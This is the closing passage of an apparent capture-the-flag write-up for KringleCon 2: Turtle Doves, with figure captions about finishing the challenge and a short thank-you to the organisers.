KringleCon 2: Turtle Doves 2020-01-13

Figure 2.213:We saved the holiday!

John Hammond 162

KringleCon 2: Turtle Doves 2020-01-13

And with that, the credits rolled!

Figure 2.214:Wewon!

Figure 2.215: And the credits rolled. . .

We had saved the holiday, and successfully completed all of the tasks and objectives as part of Kringle-Con II: Turtle Doves!

John Hammond 163

3 Thank You

Wow, it took a long time to write this report!

Thank you so much for this incredible learning experience. Sincerely. The Holiday Hack Challenge isone of the most enjoyable events that I really look forward to every single year. It was surreal to watchthe credits this year and see some familiar names, and I cannot thank you enough for letting me be apart of KringleCon! :)

164